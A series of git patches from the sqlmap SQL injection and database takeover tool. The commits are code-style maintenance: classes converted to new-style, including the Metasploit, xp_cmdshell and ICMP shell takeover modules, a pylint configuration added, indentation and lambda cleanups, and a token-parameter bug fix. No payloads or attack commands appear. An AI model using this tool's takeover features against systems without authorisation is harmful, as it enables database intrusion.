logger.setLevel(logging.INFO) diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index 4be69f4685d..0fcec0f2d7f 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -22,7 +22,7 @@ from lib.core.data import paths from lib.core.exception import SqlmapDataException -class ICMPsh: +class ICMPsh(object): """ This class defines methods to call icmpsh for plugins. """ diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 9d4f29c549e..2cc04f2c5eb 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -53,7 +53,7 @@ if IS_WIN: import msvcrt -class Metasploit: +class Metasploit(object): """ This class defines methods to call Metasploit for plugins. """ diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 5b83526c006..d70a2b60713 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -12,7 +12,7 @@ from lib.core.data import logger from lib.core.enums import REGISTRY_OPERATION -class Registry: +class Registry(object): """ This class defines methods to read and write Windows registry keys """ diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index e5025d73d6d..e5ac1f9e5b3 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -29,7 +29,7 @@ from lib.core.unescaper import unescaper from lib.request import inject -class UDF: +class UDF(object): """ This class defines methods to deal with User-Defined Functions for plugins. diff --git a/lib/takeover/web.py b/lib/takeover/web.py index fb76432e876..8e14c988e40 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -56,7 +56,7 @@ from lib.request.connect import Connect as Request from thirdparty.six.moves import urllib as _urllib -class Web: +class Web(object): """ This class defines web-oriented OS takeover functionalities for plugins. diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 519be56e2c3..476a7d3dd97 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -35,7 +35,7 @@ from lib.core.threads import getCurrentThreadData from lib.request import inject -class XP_cmdshell: +class XP_cmdshell(object): """ This class defines methods to deal with Microsoft SQL Server xp_cmdshell extended procedure for plugins. diff --git a/lib/utils/har.py b/lib/utils/har.py index 2d9519d0964..a065a9b0163 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -21,14 +21,14 @@ # Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/HAR/Overview.html # http://www.softwareishard.com/har/viewer/ -class HTTPCollectorFactory: +class HTTPCollectorFactory(object): def __init__(self, harFile=False): self.harFile = harFile def create(self): return HTTPCollector() -class HTTPCollector: +class HTTPCollector(object): def __init__(self): self.messages = BigArray() self.extendedArguments = {} @@ -48,7 +48,7 @@ def obtain(self): "entries": [pair.toEntry().toDict() for pair in self.messages], }} -class RawPair: +class RawPair(object): def __init__(self, request, response, startTime=None, endTime=None, extendedArguments=None): self.request = getBytes(request) self.response = getBytes(response) @@ -61,7 +61,7 @@ def toEntry(self): startTime=self.startTime, endTime=self.endTime, extendedArguments=self.extendedArguments) -class Entry: +class Entry(object): def __init__(self, request, response, startTime, endTime, extendedArguments): self.request = request self.response = response @@ -85,7 +85,7 @@ def toDict(self): out.update(self.extendedArguments) return out -class Request: +class Request(object): def __init__(self, method, path, httpVersion, headers, postBody=None, raw=None, comment=None): self.method = method self.path = path @@ -133,7 +133,7 @@ def toDict(self): return out -class Response: +class Response(object): extract_status = re.compile(b'\\((\\d{3}) (.*)\\)') def __init__(self, httpVersion, status, statusText, headers, content, raw=None, comment=None): @@ -202,7 +202,7 @@ def toDict(self): "comment": getText(self.comment), } -class FakeSocket: +class FakeSocket(object): # Original source: # https://stackoverflow.com/questions/24728088/python-parse-http-response-string diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 76188988f1f..656485e1a61 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -12,7 +12,7 @@ from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUndefinedMethod -class Connector: +class Connector(object): """ This class defines generic dbms protocol functionalities for plugins. """ diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index b902bd115e4..ccee31a5bde 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -26,7 +26,7 @@ from lib.request import inject from thirdparty.six.moves import input as _input -class Custom: +class Custom(object): """ This class defines custom enumeration functionalities for plugins. """ diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 0c4ed0f16c1..14374650908 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -51,7 +51,7 @@ from lib.utils.brute import tableExists from thirdparty import six -class Databases: +class Databases(object): """ This class defines databases' enumeration functionalities for plugins. """ diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 1e072d771e7..f5f894bc346 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -48,7 +48,7 @@ from thirdparty import six from thirdparty.six.moves import zip as _zip -class Entries: +class Entries(object): """ This class defines entries' enumeration functionalities for plugins. """ diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py index bb417be1a32..eccf17cc59e 100644 --- a/plugins/generic/filesystem.py +++ b/plugins/generic/filesystem.py @@ -35,7 +35,7 @@ from lib.core.settings import UNICODE_ENCODING from lib.request import inject -class Filesystem: +class Filesystem(object): """ This class defines generic OS file system functionalities for plugins. """ diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py index b593e629c1c..26ff4e39bac 100644 --- a/plugins/generic/fingerprint.py +++ b/plugins/generic/fingerprint.py @@ -11,7 +11,7 @@ from lib.core.enums import OS from lib.core.exception import SqlmapUndefinedMethod -class Fingerprint: +class Fingerprint(object): """ This class defines generic fingerprint functionalities for plugins. """ diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py index cfced34e213..26a21928c58 100644 --- a/plugins/generic/misc.py +++ b/plugins/generic/misc.py @@ -28,7 +28,7 @@ from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject -class Miscellaneous: +class Miscellaneous(object): """ This class defines miscellaneous functionalities for plugins. """ diff --git a/plugins/generic/search.py b/plugins/generic/search.py index b8cda141031..119af82c622 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -37,7 +37,7 @@ from lib.utils.brute import tableExists from thirdparty import six -class Search: +class Search(object): """ This class defines search functionalities for plugins. """ diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py index 9ef65a54b17..ccbeb4b6967 100644 --- a/plugins/generic/syntax.py +++ b/plugins/generic/syntax.py @@ -9,7 +9,7 @@ from lib.core.exception import SqlmapUndefinedMethod -class Syntax: +class Syntax(object): """ This class defines generic syntax functionalities for plugins. """ diff --git a/plugins/generic/users.py b/plugins/generic/users.py index e0c527df0a3..79bf750f0d6 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -45,7 +45,7 @@ from lib.utils.pivotdumptable import pivotDumpTable from thirdparty.six.moves import zip as _zip -class Users: +class Users(object): """ This class defines users' enumeration functionalities for plugins. """ From e2c0def5f86ef9fd8904aafbdbcc64926647dce2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 30 May 2019 21:09:10 +0200 Subject: [PATCH 423/800] Trivial update --- lib/utils/hash.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index fe31589b593..50841060300 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1161,7 +1161,7 @@ def dictionaryAttack(attack_dict): warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) - class Value(): + class Value(object): pass retVal = _queue.Queue() From c188eb560813f0e7de6a3876c7cbdbc551665e70 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 30 May 2019 21:25:31 +0200 Subject: [PATCH 424/800] Minor pylint stuff --- .pylintrc | 547 +++++++++++++++++++++++++++++++++++ lib/controller/checks.py | 16 +- lib/techniques/union/test.py | 16 +- 3 files changed, 563 insertions(+), 16 deletions(-) create mode 100644 .pylintrc diff --git a/.pylintrc b/.pylintrc new file mode 100644 index 00000000000..39cf72c0571 --- /dev/null +++ b/.pylintrc @@ -0,0 +1,547 @@ +# Based on Apache 2.0 licensed code from https://github.com/ClusterHQ/flocker + +[MASTER] + +# Specify a configuration file. +#rcfile= + +# Python code to execute, usually for sys.path manipulation such as +# pygtk.require(). +init-hook= + +# Add files or directories to the blacklist. They should be base names, not +# paths. +ignore= + +# Pickle collected data for later comparisons. +persistent=no + +# List of plugins (as comma separated values of python modules names) to load, +# usually to register additional checkers. +load-plugins= + +# Use multiple processes to speed up Pylint. +# DO NOT CHANGE THIS VALUES >1 HIDE RESULTS!!!!! +jobs=1 + +# Allow loading of arbitrary C extensions. Extensions are imported into the +# active Python interpreter and may run arbitrary code. +unsafe-load-any-extension=no + +# A comma-separated list of package or module names from where C extensions may +# be loaded. Extensions are loading into the active Python interpreter and may +# run arbitrary code +extension-pkg-whitelist= + +# Allow optimization of some AST trees. This will activate a peephole AST +# optimizer, which will apply various small optimizations. For instance, it can +# be used to obtain the result of joining multiple strings with the addition +# operator. Joining a lot of strings can lead to a maximum recursion error in +# Pylint and this flag can prevent that. It has one side effect, the resulting +# AST will be different than the one from reality. +optimize-ast=no + + +[MESSAGES CONTROL] + +# Only show warnings with the listed confidence levels. Leave empty to show +# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED +confidence= + +# Enable the message, report, category or checker with the given id(s). You can +# either give multiple identifier separated by comma (,) or put this option +# multiple time. See also the "--disable" option for examples. +disable=all + +enable=import-error, + import-self, + reimported, + wildcard-import, + misplaced-future, + deprecated-module, + unpacking-non-sequence, + invalid-all-object, + undefined-all-variable, + used-before-assignment, + cell-var-from-loop, + global-variable-undefined, + redefine-in-handler, + unused-import, + unused-wildcard-import, + global-variable-not-assigned, + undefined-loop-variable, + global-statement, + global-at-module-level, + bad-open-mode, + redundant-unittest-assert, + boolean-datetime + deprecated-method, + anomalous-unicode-escape-in-string, + anomalous-backslash-in-string, + not-in-loop, + continue-in-finally, + abstract-class-instantiated, + star-needs-assignment-target, + duplicate-argument-name, + return-in-init, + too-many-star-expressions, + nonlocal-and-global, + return-outside-function, + return-arg-in-generator, + invalid-star-assignment-target, + bad-reversed-sequence, + nonexistent-operator, + yield-outside-function, + init-is-generator, + nonlocal-without-binding, + lost-exception, + assert-on-tuple, + dangerous-default-value, + duplicate-key, + useless-else-on-loop + expression-not-assigned, + confusing-with-statement, + unnecessary-lambda, + pointless-statement, + pointless-string-statement, + unnecessary-pass, + unreachable, + using-constant-test, + bad-super-call, + missing-super-argument, + slots-on-old-class, + super-on-old-class, + property-on-old-class, + not-an-iterable, + not-a-mapping, + format-needs-mapping, + truncated-format-string, + missing-format-string-key, + mixed-format-string, + too-few-format-args, + bad-str-strip-call, + too-many-format-args, + bad-format-character, + format-combined-specification, + bad-format-string-key, + bad-format-string, + missing-format-attribute, + missing-format-argument-key, + unused-format-string-argument + unused-format-string-key, + invalid-format-index, + bad-indentation, + mixed-indentation, + unnecessary-semicolon, + lowercase-l-suffix, + invalid-encoded-data, + unpacking-in-except, + import-star-module-level, + long-suffix, + old-octal-literal, + old-ne-operator, + backtick, + old-raise-syntax, + metaclass-assignment, + next-method-called, + dict-iter-method, + dict-view-method, + indexing-exception, + raising-string, + using-cmp-argument, + cmp-method, + coerce-method, + delslice-method, + getslice-method, + hex-method, + nonzero-method, + t-method, + setslice-method, + old-division, + logging-format-truncated, + logging-too-few-args, + logging-too-many-args, + logging-unsupported-format, + logging-format-interpolation, + invalid-unary-operand-type, + unsupported-binary-operation, + not-callable, + redundant-keyword-arg, + assignment-from-no-return, + assignment-from-none, + not-context-manager, + repeated-keyword, + missing-kwoa, + no-value-for-parameter, + invalid-sequence-index, + invalid-slice-index, + unexpected-keyword-arg, + unsupported-membership-test, + unsubscriptable-object, + access-member-before-definition, + method-hidden, + assigning-non-slot, + duplicate-bases, + inconsistent-mro, + inherit-non-class, + invalid-slots, + invalid-slots-object, + no-method-argument, + no-self-argument, + unexpected-special-method-signature, + non-iterator-returned, + arguments-differ, + signature-differs, + bad-staticmethod-argument, + non-parent-init-called, + bad-except-order, + catching-non-exception, + bad-exception-context, + notimplemented-raised, + raising-bad-type, + raising-non-exception, + misplaced-bare-raise, + duplicate-except, + nonstandard-exception, + binary-op-exception, + not-async-context-manager, + yield-inside-async-function + +# Needs investigation: +# abstract-method (might be indicating a bug? probably not though) +# protected-access (requires some refactoring) +# attribute-defined-outside-init (requires some refactoring) +# super-init-not-called (requires some cleanup) + +# Things we'd like to enable someday: +# redefined-builtin (requires a bunch of work to clean up our code first) +# redefined-outer-name (requires a bunch of work to clean up our code first) +# undefined-variable (re-enable when pylint fixes https://github.com/PyCQA/pylint/issues/760) +# no-name-in-module (giving us spurious warnings https://github.com/PyCQA/pylint/issues/73) +# unused-argument (need to clean up or code a lot, e.g. prefix unused_?) +# function-redefined (@overload causes lots of spurious warnings) +# too-many-function-args (@overload causes spurious warnings... I think) +# parameter-unpacking (needed for eventual Python 3 compat) +# print-statement (needed for eventual Python 3 compat) +# filter-builtin-not-iterating (Python 3) +# map-builtin-not-iterating (Python 3) +# range-builtin-not-iterating (Python 3) +# zip-builtin-not-iterating (Python 3) +# many others relevant to Python 3 +# unused-variable (a little work to cleanup, is all) + +# ... +[REPORTS] + +# Set the output format. Available formats are text, parseable, colorized, msvs +# (visual studio) and html. You can also give a reporter class, eg +# mypackage.mymodule.MyReporterClass. +output-format=parseable + +# Put messages in a separate file for each module / package specified on the +# command line instead of printing them on stdout. Reports (if any) will be +# written in a file name "pylint_global.[txt|html]". +files-output=no + +# Tells whether to display a full report or only the messages +reports=no + +# Python expression which should return a note less than 10 (10 is the highest +# note). You have access to the variables errors warning, statement which +# respectively contain the number of errors / warnings messages and the total +# number of statements analyzed. This is used by the global evaluation report +# (RP0004). +evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10) + +# Template used to display messages. This is a python new-style format string +# used to format the message information. See doc for all details +#msg-template= + + +[LOGGING] + +# Logging modules to check that the string format arguments are in logging +# function parameter format +logging-modules=logging + + +[FORMAT] + +# Maximum number of characters on a single line. +max-line-length=100 + +# Regexp for a line that is allowed to be longer than the limit. +ignore-long-lines=^\s*(# )??$ + +# Allow the body of an if to be on the same line as the test if there is no +# else. +single-line-if-stmt=no + +# List of optional constructs for which whitespace checking is disabled. `dict- +# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}. +# `trailing-comma` allows a space between comma and closing bracket: (a, ). +# `empty-line` allows space-only lines. +no-space-check=trailing-comma,dict-separator + +# Maximum number of lines in a module +max-module-lines=1000 + +# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1 +# tab). +indent-string=' ' + +# Number of spaces of indent required inside a hanging or continued line. +indent-after-paren=4 + +# Expected format of line ending, e.g. empty (any line ending), LF or CRLF. +expected-line-ending-format= + + +[TYPECHECK] + +# Tells whether missing members accessed in mixin class should be ignored. A +# mixin class is detected if its name ends with "mixin" (case insensitive). +ignore-mixin-members=yes + +# List of module names for which member attributes should not be checked +# (useful for modules/projects where namespaces are manipulated during runtime +# and thus existing member attributes cannot be deduced by static analysis. It +# supports qualified module names, as well as Unix pattern matching. +ignored-modules= + +# List of classes names for which member attributes should not be checked +# (useful for classes with attributes dynamically set). This supports can work +# with qualified names. +ignored-classes= + +# List of members which are set dynamically and missed by pylint inference +# system, and so shouldn't trigger E1101 when accessed. Python regular +# expressions are accepted. +generated-members= + + +[VARIABLES] + +# Tells whether we should check for unused import in __init__ files. +init-import=no + +# A regular expression matching the name of dummy variables (i.e. expectedly +# not used). +dummy-variables-rgx=_$|dummy + +# List of additional names supposed to be defined in builtins. Remember that +# you should avoid to define new builtins when possible. +additional-builtins= + +# List of strings which can identify a callback function by name. A callback +# name must start or end with one of those strings. +callbacks=cb_,_cb + + +[SIMILARITIES] + +# Minimum lines number of a similarity. +min-similarity-lines=4 + +# Ignore comments when computing similarities. +ignore-comments=yes + +# Ignore docstrings when computing similarities. +ignore-docstrings=yes + +# Ignore imports when computing similarities. +ignore-imports=no + + +[SPELLING] + +# Spelling dictionary name. Available dictionaries: none. To make it working +# install python-enchant package. +spelling-dict= + +# List of comma separated words that should not be checked. +spelling-ignore-words= + +# A path to a file that contains private dictionary; one word per line. +spelling-private-dict-file= + +# Tells whether to store unknown words to indicated private dictionary in +# --spelling-private-dict-file option instead of raising a message. +spelling-store-unknown-words=no + + +[MISCELLANEOUS] + +# List of note tags to take in consideration, separated by a comma. +notes=FIXME,XXX,TODO + + +[BASIC] + +# List of builtins function names that should not be used, separated by a comma +bad-functions=map,filter,input + +# Good variable names which should always be accepted, separated by a comma +good-names=i,j,k,ex,Run,_ + +# Bad variable names which should always be refused, separated by a comma +bad-names=foo,bar,baz,toto,tutu,tata + +# Colon-delimited sets of names that determine each other's naming style when +# the name regexes allow several styles. +name-group= + +# Include a hint for the correct naming format with invalid-name +include-naming-hint=no + +# Regular expression matching correct function names +function-rgx=[a-z_][a-z0-9_]{2,30}$ + +# Naming hint for function names +function-name-hint=[a-z_][a-z0-9_]{2,30}$ + +# Regular expression matching correct variable names +variable-rgx=[a-z_][a-z0-9_]{2,30}$ + +# Naming hint for variable names +variable-name-hint=[a-z_][a-z0-9_]{2,30}$ + +# Regular expression matching correct constant names +const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$ + +# Naming hint for constant names +const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$ + +# Regular expression matching correct attribute names +attr-rgx=[a-z_][a-z0-9_]{2,30}$ + +# Naming hint for attribute names +attr-name-hint=[a-z_][a-z0-9_]{2,30}$ + +# Regular expression matching correct argument names +argument-rgx=[a-z_][a-z0-9_]{2,30}$ + +# Naming hint for argument names +argument-name-hint=[a-z_][a-z0-9_]{2,30}$ + +# Regular expression matching correct class attribute names +class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ + +# Naming hint for class attribute names +class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$ + +# Regular expression matching correct inline iteration names +inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$ + +# Naming hint for inline iteration names +inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$ + +# Regular expression matching correct class names +class-rgx=[A-Z_][a-zA-Z0-9]+$ + +# Naming hint for class names +class-name-hint=[A-Z_][a-zA-Z0-9]+$ + +# Regular expression matching correct module names +module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ + +# Naming hint for module names +module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$ + +# Regular expression matching correct method names +method-rgx=[a-z_][a-z0-9_]{2,30}$ + +# Naming hint for method names +method-name-hint=[a-z_][a-z0-9_]{2,30}$ + +# Regular expression which should only match function or class names that do +# not require a docstring. +no-docstring-rgx=^_ + +# Minimum line length for functions/classes that require docstrings, shorter +# ones are exempt. +docstring-min-length=-1 + + +[ELIF] + +# Maximum number of nested blocks for function / method body +max-nested-blocks=5 + + +[IMPORTS] + +# Deprecated modules which should not be used, separated by a comma +deprecated-modules=regsub,TERMIOS,Bastion,rexec + +# Create a graph of every (i.e. internal and external) dependencies in the +# given file (report RP0402 must not be disabled) +import-graph= + +# Create a graph of external dependencies in the given file (report RP0402 must +# not be disabled) +ext-import-graph= + +# Create a graph of internal dependencies in the given file (report RP0402 must +# not be disabled) +int-import-graph= + + +[DESIGN] + +# Maximum number of arguments for function / method +max-args=5 + +# Argument names that match this expression will be ignored. Default to name +# with leading underscore +ignored-argument-names=_.* + +# Maximum number of locals for function / method body +max-locals=15 + +# Maximum number of return / yield for function / method body +max-returns=6 + +# Maximum number of branch for function / method body +max-branches=12 + +# Maximum number of statements in function / method body +max-statements=50 + +# Maximum number of parents for a class (see R0901). +max-parents=7 + +# Maximum number of attributes for a class (see R0902). +max-attributes=7 + +# Minimum number of public methods for a class (see R0903). +min-public-methods=2 + +# Maximum number of public methods for a class (see R0904). +max-public-methods=20 + +# Maximum number of boolean expressions in a if statement +max-bool-expr=5 + + +[CLASSES] + +# List of method names used to declare (i.e. assign) instance attributes. +defining-attr-methods=__init__,__new__,setUp + +# List of valid names for the first argument in a class method. +valid-classmethod-first-arg=cls + +# List of valid names for the first argument in a metaclass class method. +valid-metaclass-classmethod-first-arg=mcs + +# List of member names, which should be excluded from the protected access +# warning. +exclude-protected=_asdict,_fields,_replace,_source,_make + + +[EXCEPTIONS] + +# Exceptions that will emit a warning when being caught. Defaults to +# "Exception" +overgeneral-exceptions=Exception diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 1539b35b6c4..49a9f3c5810 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -244,18 +244,18 @@ def checkSqlInjection(place, parameter, value): # Skip tests if title, vector or DBMS is not included by the # given test filter if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): - debugMsg = "skipping test '%s' because its " % title - debugMsg += "name/vector/DBMS is not included by the given filter" - logger.debug(debugMsg) - continue + debugMsg = "skipping test '%s' because its " % title + debugMsg += "name/vector/DBMS is not included by the given filter" + logger.debug(debugMsg) + continue # Skip tests if title, vector or DBMS is included by the # given skip filter if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): - debugMsg = "skipping test '%s' because its " % title - debugMsg += "name/vector/DBMS is included by the given skip filter" - logger.debug(debugMsg) - continue + debugMsg = "skipping test '%s' because its " % title + debugMsg += "name/vector/DBMS is included by the given skip filter" + logger.debug(debugMsg) + continue if payloadDbms is not None: # Skip DBMS-specific test if it does not match the user's diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 32f5f8dbccc..6f4a6538849 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -146,17 +146,17 @@ def _orderByTest(cols): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: - deviation = stdev(ratios) + deviation = stdev(ratios) - if deviation is not None: - lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation + if deviation is not None: + lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation - if min_ < lower: - retVal = minItem[0] + if min_ < lower: + retVal = minItem[0] - if max_ > upper: - if retVal is None or abs(max_ - upper) > abs(min_ - lower): - retVal = maxItem[0] + if max_ > upper: + if retVal is None or abs(max_ - upper) > abs(min_ - lower): + retVal = maxItem[0] finally: kb.errorIsNone = popValue() From 1f7ee039ad2b391f42ee8c5769a1cf31162f0cb8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 30 May 2019 21:27:00 +0200 Subject: [PATCH 425/800] Bug fix (place overriden in case of token) --- lib/core/settings.py | 2 +- lib/request/connect.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cf2bfa8e1ec..34351bc412a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.153" +VERSION = "1.3.5.154" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index fe0110285cb..c71b678442f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1082,11 +1082,11 @@ def _adjustParameter(paramString, parameter, newValue): if token: token.value = token.value.strip("'\"") - for place in (PLACE.GET, PLACE.POST): - if place in conf.parameters: - if place == PLACE.GET and get: + for candidate in (PLACE.GET, PLACE.POST): + if candidate in conf.parameters: + if candidate == PLACE.GET and get: get = _adjustParameter(get, token.name, token.value) - elif place == PLACE.POST and post: + elif candidate == PLACE.POST and post: post = _adjustParameter(post, token.name, token.value) for i in xrange(len(conf.httpHeaders)): From f8e9f9c87dce0ea5efa30237ad666dea43a6dfa2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 30 May 2019 22:40:51 +0200 Subject: [PATCH 426/800] Further pleasing the pylint gods --- .pylintrc | 1 - lib/controller/checks.py | 6 +++--- lib/core/bigarray.py | 10 ++-------- lib/core/common.py | 30 ++++++++++++++---------------- lib/core/datatype.py | 12 ++++++------ lib/core/dump.py | 3 +-- lib/core/option.py | 1 + lib/core/replication.py | 4 ++-- lib/core/settings.py | 2 +- lib/parse/banner.py | 6 +++--- lib/utils/getch.py | 4 ++-- lib/utils/hash.py | 2 +- lib/utils/timeout.py | 4 ++-- lib/utils/xrange.py | 3 --- 14 files changed, 38 insertions(+), 50 deletions(-) diff --git a/.pylintrc b/.pylintrc index 39cf72c0571..ec855adbcac 100644 --- a/.pylintrc +++ b/.pylintrc @@ -70,7 +70,6 @@ enable=import-error, unused-wildcard-import, global-variable-not-assigned, undefined-loop-variable, - global-statement, global-at-module-level, bad-open-mode, redundant-unittest-assert, diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 49a9f3c5810..d3e7a0f881e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -561,7 +561,7 @@ def genCmpPayload(): candidates = trueSet - falseSet - errorSet if candidates: - candidates = sorted(candidates, key=lambda _: len(_)) + candidates = sorted(candidates, key=len) for candidate in candidates: if re.match(r"\A[\w.,! ]+\Z", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH: conf.string = candidate @@ -595,7 +595,7 @@ def genCmpPayload(): candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet)) if candidates: - candidates = sorted(candidates, key=lambda _: len(_)) + candidates = sorted(candidates, key=len) for candidate in candidates: if re.match(r"\A\w+\Z", candidate): break @@ -609,7 +609,7 @@ def genCmpPayload(): candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet)) if candidates: - candidates = sorted(candidates, key=lambda _: len(_)) + candidates = sorted(candidates, key=len) for candidate in candidates: if re.match(r"\A\w+\Z", candidate): break diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 95c60271129..a6f6ac24d23 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -53,7 +53,7 @@ class BigArray(list): List-like class used for storing large amounts of data (disk cached) """ - def __init__(self, items=[]): + def __init__(self, items=None): self.chunks = [[]] self.chunk_length = sys.maxsize self.cache = None @@ -61,7 +61,7 @@ def __init__(self, items=[]): self._os_remove = os.remove self._size_counter = 0 - for item in items: + for item in (items or []): self.append(item) def append(self, value): @@ -139,12 +139,6 @@ def __setstate__(self, state): self.__init__() self.chunks, self.filenames = state - def __getslice__(self, i, j): - i = max(0, len(self) + i if i < 0 else i) - j = min(len(self), len(self) + j if j < 0 else j) - - return BigArray(self[_] for _ in xrange(i, j)) - def __getitem__(self, y): if y < 0: y += len(self) diff --git a/lib/core/common.py b/lib/core/common.py index ee753692d23..e50c57d6059 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2328,22 +2328,21 @@ def initCommonOutputs(): kb.commonOutputs = {} key = None - with openFile(paths.COMMON_OUTPUTS, 'r') as f: - for line in f: - if line.find('#') != -1: - line = line[:line.find('#')] + for line in openFile(paths.COMMON_OUTPUTS, 'r'): + if line.find('#') != -1: + line = line[:line.find('#')] - line = line.strip() + line = line.strip() - if len(line) > 1: - if line.startswith('[') and line.endswith(']'): - key = line[1:-1] - elif key: - if key not in kb.commonOutputs: - kb.commonOutputs[key] = set() + if len(line) > 1: + if line.startswith('[') and line.endswith(']'): + key = line[1:-1] + elif key: + if key not in kb.commonOutputs: + kb.commonOutputs[key] = set() - if line not in kb.commonOutputs[key]: - kb.commonOutputs[key].add(line) + if line not in kb.commonOutputs[key]: + kb.commonOutputs[key].add(line) def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ @@ -3921,7 +3920,7 @@ def normalizeUnicode(value, charset=string.printable[:string.printable.find(' ') # Reference: http://www.peterbe.com/plog/unicode-to-ascii - >>> normalizeUnicode(u'\u0161u\u0107uraj') == u'sucuraj' + >>> normalizeUnicode(u'\\u0161u\\u0107uraj') == u'sucuraj' True >>> normalizeUnicode(getUnicode(decodeHex("666f6f00626172"))) == u'foobar' True @@ -4096,7 +4095,7 @@ def __init__(self): debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) else: - found = sorted(options.keys(), key=lambda x: len(x))[0] + found = sorted(options.keys(), key=len)[0] warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options)) warnMsg += "Resolved to shortest of those ('%s')" % found logger.warn(warnMsg) @@ -5043,7 +5042,6 @@ def _parseBurpLog(content): def getSafeExString(ex, encoding=None): """ Safe way how to get the proper exception represtation as a string - (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161')) >>> getSafeExString(SqlmapBaseException('foobar')) == 'foobar' True diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 0fc30d81724..860347a4912 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -184,15 +184,15 @@ def __len__(self): def __contains__(self, key): return key in self.map 